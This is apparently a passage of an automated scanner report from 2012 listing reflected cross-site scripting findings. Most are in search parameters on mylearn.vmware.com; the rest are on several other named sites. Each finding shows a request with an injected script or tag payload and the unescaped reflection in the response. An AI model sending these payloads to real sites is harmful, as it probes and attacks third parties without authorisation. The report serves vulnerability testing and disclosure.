Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:30:12 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 165136


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&category=schedule&Search=Search&deliveryType=16&filters=deliveryType473cf"><script>alert(1)</script>26f268c584d" method="GET" style="margin:0;">
...[SNIP]...
1.30. http://mylearn.vmware.com/portals/www/search/results.cfm [id_discount parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&menu=search-results&searchtype=simple&category=schedule&id_discount=293d777f"><script>alert(1)</script>f6164b95036 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:27:52 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 345483


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&menu=search-results&searchtype=simple&category=schedule&id_discount=293d777f"><script>alert(1)</script>f6164b95036" method="GET" style="margin:0;">
...[SNIP]...
1.31. http://mylearn.vmware.com/portals/www/search/results.cfm [menu parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&menu=search-results1f503"><script>alert(1)</script>126a5038deb&searchtype=simple&category=schedule&id_discount=293 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:27:02 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 77035


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&menu=search-results1f503"><script>alert(1)</script>126a5038deb&searchtype=simple&category=schedule&id_discount=293" method="GET" style="margin:0;">
...[SNIP]...
1.32. http://mylearn.vmware.com/portals/www/search/results.cfm [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?72e07"><script>alert(1)</script>e2b8dc1908d=1 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:25:32 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 303163


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?72e07"><script>alert(1)</script>e2b8dc1908d=1" method="GET" style="margin:0;">
...[SNIP]...
1.33. http://mylearn.vmware.com/portals/www/search/results.cfm [orderBy parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance66e0a"><script>alert(1)</script>648d2ed8da&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:27:32 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 89910


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<a title="Go to page 2" href="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance66e0a"><script>alert(1)</script>648d2ed8da&category=catalog&keyword=VMware+vSphere&Search=Search&p=2">
...[SNIP]...
1.34. http://mylearn.vmware.com/portals/www/search/results.cfm [pID parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www9c287"><script>alert(1)</script>1d816c8b201&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:26:57 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www9c287"><script>alert(1)</script>1d816c8b201&menu=search-results&searchtype=simple&category=catalog&keyword=VMware+vSphere&Search=Search" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.35. http://mylearn.vmware.com/portals/www/search/results.cfm [searchtype parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&menu=search-results&searchtype=simple62e86"><script>alert(1)</script>77d086f5282&category=schedule&id_discount=293 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:27:12 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 77035


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&menu=search-results&searchtype=simple62e86"><script>alert(1)</script>77d086f5282&category=schedule&id_discount=293" method="GET" style="margin:0;">
...[SNIP]...
1.36. http://mylearn.vmware.com/portals/www/search/results.cfm [ui parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu63889"><script>alert(1)</script>cb3c6a7aa92&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:26:43 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu63889"><script>alert(1)</script>cb3c6a7aa92&pID=www&menu=search-results&searchtype=simple&category=catalog&keyword=VMware+vSphere&Search=Search" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.37. https://mylearn.vmware.com/portals/www/search/results.cfm [Search parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Searchbcaae"><script>alert(1)</script>48810443154 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:50 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2822664458.20480.0000; path=/
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&category=catalog&keyword=VMware+vSphere&Search=Searchbcaae"><script>alert(1)</script>48810443154" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.38. https://mylearn.vmware.com/portals/www/search/results.cfm [category parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=catalogc3225"><script>alert(1)</script>26e5c8dc808&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:44 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2839441674.20480.0000; path=/
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&category=catalogc3225"><script>alert(1)</script>26e5c8dc808&keyword=VMware+vSphere&Search=Search" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.39. https://mylearn.vmware.com/portals/www/search/results.cfm [menu parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results6e846"><script>alert(1)</script>1f9eb2f7777&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:38 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2822664458.20480.0000; path=/
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results6e846"><script>alert(1)</script>1f9eb2f7777&searchtype=simple&category=catalog&keyword=VMware+vSphere&Search=Search" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.40. https://mylearn.vmware.com/portals/www/search/results.cfm [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search&6000a"><script>alert(1)</script>172ef66ad6=1 HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:52 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2822664458.20480.0000; path=/
Content-Length: 90141


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&category=catalog&keyword=VMware+vSphere&Search=Search&6000a"><script>alert(1)</script>172ef66ad6=1" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.41. https://mylearn.vmware.com/portals/www/search/results.cfm [orderBy parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevanceaba50"><script>alert(1)</script>b512691ca2d&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:42 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2822664458.20480.0000; path=/
Content-Length: 89972


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<a title="Go to page 2" href="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevanceaba50"><script>alert(1)</script>b512691ca2d&category=catalog&keyword=VMware+vSphere&Search=Search&p=2">
...[SNIP]...
1.42. https://mylearn.vmware.com/portals/www/search/results.cfm [pID parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=wwwa32ba"><script>alert(1)</script>ad249e09017&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:36 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2822664458.20480.0000; path=/
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=wwwa32ba"><script>alert(1)</script>ad249e09017&menu=search-results&searchtype=simple&category=catalog&keyword=VMware+vSphere&Search=Search" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.43. https://mylearn.vmware.com/portals/www/search/results.cfm [searchtype parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple3cbc1"><script>alert(1)</script>74ee74903fc&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:40 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2839441674.20480.0000; path=/
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple3cbc1"><script>alert(1)</script>74ee74903fc&category=catalog&keyword=VMware+vSphere&Search=Search" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.44. https://mylearn.vmware.com/portals/www/search/results.cfm [ui parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request

GET /portals/www/search/results.cfm?ui=www_edufc6f5"><script>alert(1)</script>a577ef35fc7&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:35 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2839441674.20480.0000; path=/
Content-Length: 90015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
<form name="orderBYForm" action="/portals/www/search/results.cfm?ui=www_edufc6f5"><script>alert(1)</script>a577ef35fc7&pID=www&menu=search-results&searchtype=simple&category=catalog&keyword=VMware+vSphere&Search=Search" method="GET" style="margin:-10px 0 5px 0;">
...[SNIP]...
1.45. http://offlajn.com/ [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   http://offlajn.com
Path:   /

Request

GET /?9fe48%2522%253e%253ca%253e7fb45328814=1 HTTP/1.1
Host: offlajn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Tue, 01 May 2012 00:11:21 GMT
Server: Apache/2.2.16 (Debian) DAV/2 SVN/1.6.12 PHP/5.3.3-7 with Suhosin-Patch
X-Powered-By: PHP/5.3.3-7
Set-Cookie: 10794994dd0d36daaa8270dbbe10760f=e652f27d20f32b9b32600684e4755a13; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: virtuemart=e652f27d20f32b9b32600684e4755a13
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Tue, 01 May 2012 00:11:22 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >

...[SNIP]...
<a onclick="window.vm_aue.changePage(0); return false;" href="/index.php?9fe48\"><a>7fb45328814=1&amp;Itemid=8&amp;option=com_vm_aue&amp;view=vmaue&amp;p=0">
...[SNIP]...
1.46. http://sonspring.com/journal/clearing-floats [REST URL parameter 1]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   http://sonspring.com
Path:   /journal/clearing-floats

Request

GET /journalaabd7"><a>250d979aa8d/clearing-floats HTTP/1.1
Host: sonspring.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 01 May 2012 01:02:15 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Drupal-Cache: MISS
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 01 May 2012 01:02:15 +0000
Cache-Control: public, max-age=0
ETag: "1335834135-0"
Content-Language: en
Link: </node/335>; rel="shortlink",</404>; rel="canonical"
X-Generator: Drupal 7 (http://drupal.org)
Vary: Cookie,Accept-Encoding
Content-Length: 5123
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge, chrome=1" />
<title>404 - Page Not Found | SonSpring</title>
<!--[if lt IE 8]>
<sc
...[SNIP]...
<link rel="canonical" href="http://sonspring.com/journalaabd7"><a>250d979aa8d/clearing-floats" />
...[SNIP]...
1.47. http://sonspring.com/journal/clearing-floats [REST URL parameter 2]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   http://sonspring.com
Path:   /journal/clearing-floats

Request

GET /journal/clearing-floats6fc73"><a>277f35f1bc8 HTTP/1.1
Host: sonspring.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 01:02:20 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Drupal-Cache: MISS
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 01 May 2012 01:02:20 +0000
Cache-Control: public, max-age=0
ETag: "1335834140-0"
Content-Language: en
X-Generator: Drupal 7 (http://drupal.org)
Vary: Cookie,Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15725

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge, chrome=1" />
<title>Journal | SonSpring</title>
<!--[if lt IE 8]>
<script>
window.
...[SNIP]...
<link rel="canonical" href="http://sonspring.com/journal/clearing-floats6fc73"><a>277f35f1bc8" />
...[SNIP]...
1.48. http://www.aci.edu/sem/info-tech.php [referrer parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.aci.edu
Path:   /sem/info-tech.php

Request

GET /sem/info-tech.php?referrer=mary3909c"><script>alert(1)</script>ab301690627&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.aci.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:54 GMT
Server: Apache/2.2.12 (Ubuntu)
Set-Cookie: Apache=174.36.218.2.1335831174902131; path=/; expires=Sat, 30-Jun-12 00:12:54 GMT
X-Powered-By: PHP/5.2.12
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 15101


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" con
...[SNIP]...
<input type="hidden" name="referrer" value="mary3909c\"><script>alert(1)</script>ab301690627"/>
...[SNIP]...
1.49. http://www.educationdegreesource.com/request_form.php [ProgID parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034b9901"><script>alert(1)</script>c66918511a&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:11:55 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=c8g4j309jr4uq0suot13d4i1o5; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77201

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
<a href="/request_form.php?schoolId=157&RFIFormId=142&ProgID=15034b9901"><script>alert(1)</script>c66918511a&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml" class="info-links">
...[SNIP]...
1.50. http://www.educationdegreesource.com/request_form.php [User-Agent HTTP header]
Previous  Next

